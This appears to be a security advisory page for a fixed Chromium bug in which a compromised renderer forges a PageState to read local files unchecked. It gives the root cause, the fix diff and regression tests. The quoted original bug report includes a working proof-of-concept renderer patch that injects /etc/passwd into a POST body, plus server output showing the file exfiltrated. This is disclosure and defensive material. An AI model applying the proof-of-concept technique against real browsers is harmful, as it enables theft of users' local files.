Overview

High
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient data validation in Navigation
DescriptionInsufficient data validation in Navigation
ComponentNavigation
Bug ClassLogic Error
Tracker487383169
Fix commit03580574961d (chromium/src) +220/-5
CISA KEVNot listed
CreditedGoogle
Disclosed2026-03-03

Background

`PageState`
A blink-serialized, renderer-supplied blob capturing a frame’s session history, including form/POST body data and referenced local file paths.
`ChildProcessSecurityPolicyImpl`
The browser-process authority that records and enforces which local files a given renderer process is permitted to read.
`GetReferencedFiles`
A PageState accessor that returns the list of file paths the browser treats as the set requiring read-permission validation.
`DidCommit` IPC
The message a renderer sends to the browser to report a committed navigation, carrying the attacker-influenceable PageState.

Root Cause Analysis

The vulnerable path was RenderFrameHostImpl::CanAccessFilesOfPageState, which authorized a navigation’s file access by passing only state.GetReferencedFiles() into ChildProcessSecurityPolicyImpl::CanReadAllFiles. The security invariant is that every file path embedded anywhere in the attacker-controlled PageState must be covered by the permission check, but GetReferencedFiles did not necessarily enumerate all of them — a malicious renderer could plant a file path (for example inside the top document’s http_body.request_body via AppendFileRange) that never appeared in the validated list. Because the browser validated a subset while later machinery could still consume the full PageState, an unlisted file bypassed the CanReadAllFiles gate entirely.

The fix independently re-enumerates the complete file set with blink::GetAllFilesInPageState(state.ToEncodedData(), &all_files) and rejects the navigation if any recovered file is absent from the referenced_files set. It also fails closed when enumeration itself fails to fully parse the PageState, so a corrupted blob crafted to hide paths cannot slip through.

Key insight
The core mistake was trusting GetReferencedFiles() as an exhaustive account of the files in an attacker-controlled PageState when it was not, letting unlisted paths escape validation; the fix cross-checks the authoritative full-file enumeration (GetAllFilesInPageState) against the validated set and kills the renderer on any mismatch or parse failure.

Attack Path

  1. Compromise a renderer The attacker gains code execution in a renderer process, the standard precondition for forging browser-bound IPC.
  2. Forge a PageState They build an ExplodedPageState whose http_body.request_body references an off-limits file (e.g. /tmp/offlimits) via AppendFileRange, a path deliberately excluded from what GetReferencedFiles reports.
  3. Deliver via DidCommit The crafted PageState is placed into the navigation’s DidCommitProvisionalLoadParams so the browser processes it during commit.
  4. Bypass validation CanAccessFilesOfPageState validates only the (incomplete) referenced list, so the hidden file is never checked against CanReadAllFiles.
  5. Leverage unauthorized access The unlisted file rides along in the PageState/POST body, letting the renderer reach a local file it was never granted permission to read.

Impact Assessment

A compromised renderer gains the ability to smuggle an unvalidated local file path into browser-process navigation handling, defeating the file-read authorization boundary enforced by ChildProcessSecurityPolicyImpl in the privileged browser process. The practical gain is unauthorized access to local files the renderer’s sandbox should have denied, amounting to a sandbox-escape-class information disclosure. The precondition is prior control of a renderer capable of emitting a forged DidCommit PageState.

Changed Functions

FunctionChangeNotes
for
content/browser/renderer_host/render_frame_host_impl.cc
modified
DidCommitPageStateReplacer
content/browser/security_exploit_browsertest.cc
modified
replacement_page_state_
content/browser/security_exploit_browsertest.cc
modified
IN_PROC_BROWSER_TEST_F
content/browser/security_exploit_browsertest.cc
modified

Files Changed

  • content/browser/renderer_host/render_frame_host_impl.cc
  • content/browser/security_exploit_browsertest.cc

Audit Directions

  • Subset-only validation
    Flag any security check that validates a derived list (like GetReferencedFiles) instead of the complete, authoritative contents of an attacker-controlled structure.
  • Fail-open parsing
    Verify that partial or failed deserialization of untrusted blobs (such as PageState) results in rejection rather than proceeding with a possibly incomplete view.
  • Renderer-supplied file paths
    Trace every consumer of PageState file data (request bodies, document state, subframes) to confirm each path is covered by a ChildProcessSecurityPolicyImpl read check before use.
From 03580574961d57c7ba5723afdc6605045b4fa0ef Mon Sep 17 00:00:00 2001
From: Charlie Reis <[email protected]>
Date: Thu, 26 Feb 2026 15:23:48 -0800
Subject: [PATCH] Ensure that all files in a PageState are present in GetReferencedFiles.

This depends on updating AppendReferencedFilesFromDocumentState to
handle PageState version 14, which can have value_sizes of 0 or
multiples of 3.

Bug: 487383169
Change-Id: I3c8d3ee7d198d7fad5d180cf4e4e8bd62d18d79b
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7609011
Reviewed-by: Kent Tamura <[email protected]>
Reviewed-by: Alex Moshchuk <[email protected]>
Commit-Queue: Charlie Reis <[email protected]>
Auto-Submit: Charlie Reis <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1591151}
---

diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc
index 2513348..a71222b 100644
--- a/content/browser/renderer_host/render_frame_host_impl.cc
+++ b/content/browser/renderer_host/render_frame_host_impl.cc
@@ -279,6 +279,7 @@
 #include "third_party/blink/public/common/loader/resource_type_util.h"
 #include "third_party/blink/public/common/messaging/transferable_message.h"
 #include "third_party/blink/public/common/navigation/navigation_params_mojom_traits.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
 #include "third_party/blink/public/common/permissions/permission_utils.h"
 #include "third_party/blink/public/common/permissions_policy/document_policy.h"
 #include "third_party/blink/public/common/permissions_policy/policy_helper_public.h"
@@ -13729,8 +13730,29 @@
 
 bool RenderFrameHostImpl::CanAccessFilesOfPageState(
     const blink::PageState& state) {
+  // Ensure that all of the files in the PageState were actually listed in the
+  // GetReferencedFiles list, using a set to prune duplicates.
+  // See https://crbug.com/487383169.
+  std::vector<base::FilePath> all_files;
+  if (!blink::GetAllFilesInPageState(state.ToEncodedData(), &all_files)) {
+    // All files in the PageState weren't recovered due to parsing failures.
+    // The renderer should be killed instead of proceeding with a PageState that
+    // might still contain files that could be used without being validated.
+    return false;
+  }
+  std::vector<base::FilePath> referenced_files = state.GetReferencedFiles();
+  std::set<base::FilePath> referenced_file_set(referenced_files.begin(),
+                                               referenced_files.end());
+  for (const base::FilePath& file : all_files) {
+    if (!referenced_file_set.contains(file)) {
+      // Found a file that was not in the list to be validated, so the renderer
+      // should be killed.
+      return false;
+    }
+  }
+
   return ChildProcessSecurityPolicyImpl::GetInstance()->CanReadAllFiles(
-      GetProcess()->GetID(), state.GetReferencedFiles());
+      GetProcess()->GetID(), referenced_files);
 }
 
 void RenderFrameHostImpl::GrantFileAccessFromPageState(
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index a0d347f..4d0c4617 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -90,6 +90,7 @@
 #include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
 #include "services/network/public/cpp/network_switches.h"
 #include "services/network/public/cpp/resource_request.h"
+#include "services/network/public/cpp/resource_request_body.h"
 #include "services/network/public/mojom/fetch_api.mojom.h"
 #include "services/network/public/mojom/trust_tokens.mojom.h"
 #include "services/network/public/mojom/url_loader.mojom.h"
@@ -102,6 +103,7 @@
 #include "third_party/blink/public/common/fenced_frame/fenced_frame_utils.h"
 #include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
 #include "third_party/blink/public/common/navigation/navigation_policy.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
 #include "third_party/blink/public/mojom/blob/blob_url_store.mojom.h"
 #include "third_party/blink/public/mojom/choosers/file_chooser.mojom.h"
 #include "third_party/blink/public/mojom/fenced_frame/fenced_frame.mojom.h"
@@ -1596,6 +1598,130 @@
   EXPECT_EQ(bad_message::RFH_INVALID_WEB_UI_CONTROLLER, kill_waiter.Wait());
 }
 
+namespace {
+
+// An interceptor class that allows replacing the PageState of the DidCommit IPC
+// from the renderer process to the browser process.
+class DidCommitPageStateReplacer : public DidCommitNavigationInterceptor {
+ public:
+  DidCommitPageStateReplacer(WebContents* web_contents,
+                             const blink::PageState& page_state)
+      : DidCommitNavigationInterceptor(web_contents),
+        replacement_page_state_(page_state) {}
+
+  DidCommitPageStateReplacer(const DidCommitPageStateReplacer&) = delete;
+  DidCommitPageStateReplacer& operator=(const DidCommitPageStateReplacer&) =
+      delete;
+
+  ~DidCommitPageStateReplacer() override = default;
+
+ protected:
+  bool WillProcessDidCommitNavigation(
+      RenderFrameHost* render_frame_host,
+      NavigationRequest* navigation_request,
+      mojom::DidCommitProvisionalLoadParamsPtr* params,
+      mojom::DidCommitProvisionalLoadInterfaceParamsPtr* interface_params)
+      override {
+    (**params).page_state = replacement_page_state_;
+    return true;
+  }
+
+ private:
+  blink::PageState replacement_page_state_;
+};
+
+}  // namespace
+
+// Test that committing a navigation with a PageState that does not list all of
+// its file paths in GetReferencedFiles will cause a renderer kill.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest, PageStateWithUnlistedFile) {
+  // Navigate to foo.com initially.
+  GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+  EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+  // Create a PageState that contains a file path which isn't in the list of
+  // referenced files which are validated.
+  GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+  blink::ExplodedPageState exploded_page_state;
+  ASSERT_TRUE(blink::DecodePageState(
+      blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+      &exploded_page_state));
+  scoped_refptr<network::ResourceRequestBody> request_body =
+      new network::ResourceRequestBody();
+  base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+  request_body->AppendFileRange(
+      bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+  exploded_page_state.top.http_body.request_body = request_body;
+  exploded_page_state.top.http_body.http_content_type = u"text/plain";
+  std::string encoded_page_state;
+  blink::EncodePageState(exploded_page_state, &encoded_page_state);
+  blink::PageState page_state =
+      blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+  // Create an interceptor which will put the modified PageState into the next
+  // navigation's DidCommit message.
+  DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+                                                 page_state);
+
+  // Navigate in the same renderer process to send the bad PageState.
+  RenderFrameHostImpl* rfh = static_cast<RenderFrameHostImpl*>(
+      shell()->web_contents()->GetPrimaryMainFrame());
+  RenderProcessHostBadIpcMessageWaiter kill_waiter(rfh->GetProcess());
+  EXPECT_TRUE(NavigateToURLAndExpectNoCommit(shell(), foo_url2));
+
+  // Verify that the malicious renderer was killed, for the right reason.
+  EXPECT_EQ(bad_message::RFH_CAN_ACCESS_FILES_OF_PAGE_STATE_AT_COMMIT,
+            kill_waiter.Wait());
+}
+
+// Similar to the test above, but also uses a malformed DocumentState within the
+// corrupted PageState, to make it harder to find file paths that are present.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
+                       PageStateWithUnlistedFileAndBadDocumentState) {
+  // Navigate to foo.com initially.
+  GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+  EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+  // Create a PageState that contains a file path which isn't in the list of
+  // referenced files which are validated.
+  GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+  blink::ExplodedPageState exploded_page_state;
+  ASSERT_TRUE(blink::DecodePageState(
+      blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+      &exploded_page_state));
+  scoped_refptr<network::ResourceRequestBody> request_body =
+      new network::ResourceRequestBody();
+  base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+  request_body->AppendFileRange(
+      bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+  exploded_page_state.top.http_body.request_body = request_body;
+  exploded_page_state.top.http_body.http_content_type = u"text/plain";
+
+  // Also modify the DocumentState to force RecursivelyAppendReferencedFiles to
+  // return false.
+  exploded_page_state.top.document_state = {u"one", u"two"};
+
+  std::string encoded_page_state;
+  blink::EncodePageState(exploded_page_state, &encoded_page_state);
+  blink::PageState page_state =
+      blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+  // Create an interceptor which will put the modified PageState into the next
+  // navigation's DidCommit message.
+  DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+                                                 page_state);
+
+  // Navigate in the same renderer process to send the bad PageState.
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/content/browser/security_exploit_browsertest.cc b/content/browser/security_exploit_browsertest.cc
index a0d347f..4d0c4617 100644
--- a/content/browser/security_exploit_browsertest.cc
+++ b/content/browser/security_exploit_browsertest.cc
@@ -90,6 +90,7 @@
 #include "net/traffic_annotation/network_traffic_annotation_test_helper.h"
 #include "services/network/public/cpp/network_switches.h"
 #include "services/network/public/cpp/resource_request.h"
+#include "services/network/public/cpp/resource_request_body.h"
 #include "services/network/public/mojom/fetch_api.mojom.h"
 #include "services/network/public/mojom/trust_tokens.mojom.h"
 #include "services/network/public/mojom/url_loader.mojom.h"
@@ -102,6 +103,7 @@
 #include "third_party/blink/public/common/fenced_frame/fenced_frame_utils.h"
 #include "third_party/blink/public/common/frame/fenced_frame_sandbox_flags.h"
 #include "third_party/blink/public/common/navigation/navigation_policy.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
 #include "third_party/blink/public/mojom/blob/blob_url_store.mojom.h"
 #include "third_party/blink/public/mojom/choosers/file_chooser.mojom.h"
 #include "third_party/blink/public/mojom/fenced_frame/fenced_frame.mojom.h"
@@ -1596,6 +1598,130 @@
   EXPECT_EQ(bad_message::RFH_INVALID_WEB_UI_CONTROLLER, kill_waiter.Wait());
 }
 
+namespace {
+
+// An interceptor class that allows replacing the PageState of the DidCommit IPC
+// from the renderer process to the browser process.
+class DidCommitPageStateReplacer : public DidCommitNavigationInterceptor {
+ public:
+  DidCommitPageStateReplacer(WebContents* web_contents,
+                             const blink::PageState& page_state)
+      : DidCommitNavigationInterceptor(web_contents),
+        replacement_page_state_(page_state) {}
+
+  DidCommitPageStateReplacer(const DidCommitPageStateReplacer&) = delete;
+  DidCommitPageStateReplacer& operator=(const DidCommitPageStateReplacer&) =
+      delete;
+
+  ~DidCommitPageStateReplacer() override = default;
+
+ protected:
+  bool WillProcessDidCommitNavigation(
+      RenderFrameHost* render_frame_host,
+      NavigationRequest* navigation_request,
+      mojom::DidCommitProvisionalLoadParamsPtr* params,
+      mojom::DidCommitProvisionalLoadInterfaceParamsPtr* interface_params)
+      override {
+    (**params).page_state = replacement_page_state_;
+    return true;
+  }
+
+ private:
+  blink::PageState replacement_page_state_;
+};
+
+}  // namespace
+
+// Test that committing a navigation with a PageState that does not list all of
+// its file paths in GetReferencedFiles will cause a renderer kill.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest, PageStateWithUnlistedFile) {
+  // Navigate to foo.com initially.
+  GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+  EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+  // Create a PageState that contains a file path which isn't in the list of
+  // referenced files which are validated.
+  GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+  blink::ExplodedPageState exploded_page_state;
+  ASSERT_TRUE(blink::DecodePageState(
+      blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+      &exploded_page_state));
+  scoped_refptr<network::ResourceRequestBody> request_body =
+      new network::ResourceRequestBody();
+  base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+  request_body->AppendFileRange(
+      bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+  exploded_page_state.top.http_body.request_body = request_body;
+  exploded_page_state.top.http_body.http_content_type = u"text/plain";
+  std::string encoded_page_state;
+  blink::EncodePageState(exploded_page_state, &encoded_page_state);
+  blink::PageState page_state =
+      blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+  // Create an interceptor which will put the modified PageState into the next
+  // navigation's DidCommit message.
+  DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+                                                 page_state);
+
+  // Navigate in the same renderer process to send the bad PageState.
+  RenderFrameHostImpl* rfh = static_cast<RenderFrameHostImpl*>(
+      shell()->web_contents()->GetPrimaryMainFrame());
+  RenderProcessHostBadIpcMessageWaiter kill_waiter(rfh->GetProcess());
+  EXPECT_TRUE(NavigateToURLAndExpectNoCommit(shell(), foo_url2));
+
+  // Verify that the malicious renderer was killed, for the right reason.
+  EXPECT_EQ(bad_message::RFH_CAN_ACCESS_FILES_OF_PAGE_STATE_AT_COMMIT,
+            kill_waiter.Wait());
+}
+
+// Similar to the test above, but also uses a malformed DocumentState within the
+// corrupted PageState, to make it harder to find file paths that are present.
+IN_PROC_BROWSER_TEST_F(SecurityExploitBrowserTest,
+                       PageStateWithUnlistedFileAndBadDocumentState) {
+  // Navigate to foo.com initially.
+  GURL foo_url(embedded_test_server()->GetURL("foo.com", "/title1.html"));
+  EXPECT_TRUE(NavigateToURL(shell(), foo_url));
+
+  // Create a PageState that contains a file path which isn't in the list of
+  // referenced files which are validated.
+  GURL foo_url2(embedded_test_server()->GetURL("foo.com", "/title2.html"));
+  blink::ExplodedPageState exploded_page_state;
+  ASSERT_TRUE(blink::DecodePageState(
+      blink::PageState::CreateFromURL(foo_url2).ToEncodedData(),
+      &exploded_page_state));
+  scoped_refptr<network::ResourceRequestBody> request_body =
+      new network::ResourceRequestBody();
+  base::FilePath bad_file = base::FilePath::FromUTF8Unsafe("/tmp/offlimits");
+  request_body->AppendFileRange(
+      bad_file, 0, std::numeric_limits<uint64_t>::max(), base::Time());
+  exploded_page_state.top.http_body.request_body = request_body;
+  exploded_page_state.top.http_body.http_content_type = u"text/plain";
+
+  // Also modify the DocumentState to force RecursivelyAppendReferencedFiles to
+  // return false.
+  exploded_page_state.top.document_state = {u"one", u"two"};
+
+  std::string encoded_page_state;
+  blink::EncodePageState(exploded_page_state, &encoded_page_state);
+  blink::PageState page_state =
+      blink::PageState::CreateFromEncodedData(encoded_page_state);
+
+  // Create an interceptor which will put the modified PageState into the next
+  // navigation's DidCommit message.
+  DidCommitPageStateReplacer page_state_replacer(shell()->web_contents(),
+                                                 page_state);
+
+  // Navigate in the same renderer process to send the bad PageState.
+  RenderFrameHostImpl* rfh = static_cast<RenderFrameHostImpl*>(
+      shell()->web_contents()->GetPrimaryMainFrame());
+  RenderProcessHostBadIpcMessageWaiter kill_waiter(rfh->GetProcess());
+  EXPECT_TRUE(NavigateToURLAndExpectNoCommit(shell(), foo_url2));
+
+  // Verify that the malicious renderer was killed, for the right reason.
+  EXPECT_EQ(bad_message::RFH_CAN_ACCESS_FILES_OF_PAGE_STATE_AT_COMMIT,
+            kill_waiter.Wait());
+}
+
 class BeginNavigationTransitionReplacer : public FrameHostInterceptor {
  public:
   BeginNavigationTransitionReplacer(WebContents* web_contents,
Loading diff…

Original Bug Report

reported by [email protected]

Sandbox escape: renderer -> arbitrary file read via modified PageState

VULNERABILITY DETAILS

A sandbox escape allows a compromised renderer to trick the browser into uploading arbitrary files from the user’s system without the corresponding file access permissions.

VERSION

Chrome Version: built from recent git, with C++ patch applied to renderer only

Operating System: tested on Linux

REPRODUCTION CASE

Video of repro attached.

  1. Patch the renderer with the diff below.
  2. Run the attached Python script to create a server.
  3. Navigate to http://127.0.0.1:8000/
  4. Press the button to start the exploit.
  5. Refresh when you see a redirection error.

Result: /etc/passwd is sent to remote server.

Patch to renderer (assumes renderer already compromised):

diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
index d837ffbb8abfb..486c5ce9b2820 100644
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -163,6 +163,8 @@
 #include "third_party/blink/public/common/navigation/navigation_params_mojom_traits.h"
 #include "third_party/blink/public/common/navigation/navigation_policy.h"
 #include "third_party/blink/public/common/page_state/page_state.h"
+#include "third_party/blink/public/common/page_state/page_state_serialization.h"
+#include "services/network/public/cpp/resource_request_body.h"
 #include "third_party/blink/public/common/renderer_preferences/renderer_preferences.h"
 #include "third_party/blink/public/common/thread_safe_browser_interface_broker_proxy.h"
 #include "third_party/blink/public/mojom/blob/blob.mojom.h"
@@ -5021,9 +5023,41 @@ RenderFrameImpl::MakeDidCommitProvisionalLoadParams(
   params->page_state = GetWebFrame()->CurrentHistoryItemToPageState();
 
   params->method = document_loader->HttpMethod().Latin1();
-  if (params->method == "POST")
+  if (params->method == "POST") {
     params->post_id = ExtractPostId(item);
 
+    // --- START MALICIOUS MODIFICATION ---
+    LOG(INFO) << "MALICIOUS: Intercepting POST navigation commit, preparing crafted PageState";
+    blink::ExplodedPageState exploded_page_state;
+    if (blink::DecodePageState(params->page_state.ToEncodedData(), &exploded_page_state)) {
+        // 1. Clear referenced_files to bypass CanAccessFilesOfPageState
+        exploded_page_state.referenced_files.clear();
+        
+        // 2. Craft malicious ResourceRequestBody
+        scoped_refptr<network::ResourceRequestBody> malicious_body =
+            new network::ResourceRequestBody();
+        
+        base::FilePath target_file = base::FilePath::FromUTF8Unsafe("/etc/passwd");
+        malicious_body->AppendFileRange(
+            target_file,
+            0,
+            std::numeric_limits<uint64_t>::max(),
+            base::Time());
+        
+        // 3. Inject into the HTTP body of the top frame
+        exploded_page_state.top.http_body.request_body = malicious_body;
+        exploded_page_state.top.http_body.http_content_type = u"text/plain";
+
+        std::string encoded_malicious_page_state;
+        blink::EncodePageState(exploded_page_state, &encoded_malicious_page_state);
+        params->page_state = blink::PageState::CreateFromEncodedData(encoded_malicious_page_state);
+        LOG(INFO) << "MALICIOUS: PageState modification complete. Body contains file: /etc/passwd";
+    } else {
+        LOG(ERROR) << "MALICIOUS: Failed to decode PageState!";
+    }
+    // --- END MALICIOUS MODIFICATION ---
+  }
+
   params->item_sequence_number = item.ItemSequenceNumber();
   params->document_sequence_number = item.DocumentSequenceNumber();
   params->navigation_api_key = item.GetNavigationApiKey().Utf8();

Output from Python server, demonstrating that it received /etc/passwd:

127.0.0.1 - - [24/Feb/2026 16:46:47] GET request to /trigger
127.0.0.1 - - [24/Feb/2026 16:46:47] "GET /trigger HTTP/1.1" 200 -
127.0.0.1 - - [24/Feb/2026 16:46:51] POST request to /upload

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
!!! EXPLOIT SUCCESSFUL !!! /etc/passwd contents received.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

root:x:0:0:root:/root:/bin/bash
...

CREDIT INFORMATION

Reporter credit: Ryan Lothian

View on issue tracker
Links in the report